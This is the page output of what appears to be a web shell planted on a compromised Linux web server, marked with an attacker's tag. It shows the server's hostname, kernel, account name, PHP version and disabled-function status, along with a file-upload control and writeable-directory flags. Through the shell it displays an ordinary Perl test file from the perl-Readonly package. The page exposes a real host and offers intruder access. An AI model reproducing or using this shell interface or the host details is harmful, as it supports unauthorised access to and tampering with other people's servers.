Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/usr/share/doc/perl-Readonly/t/bugs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/doc/perl-Readonly/t/bugs/007_implicit_undef.t
#!/usr/bin/perl -I../../lib
# Verify the Readonly function accepts implicit undef values
use strict;
use Test::More;
use Readonly;

sub expected {
    my $line = shift;
    $@ =~ s/\.$//;    # difference between croak and die
    return "Invalid tie at " . __FILE__ . " line $line\n";
}
SKIP: {
    skip 'Readonly $@% syntax is for perl 5.8 or later', 1 unless $] >= 5.008;
    eval 'Readonly my $simple;';
    is $@ => '', 'Simple API allows for implicit undef values';
}
eval q'Readonly::Scalar my $scalar;';
like $@ => qr[Not enough arguments for Readonly::Scalar],
    'Readonly::Scalar does not allow implicit undef values';
#
done_testing;

Hry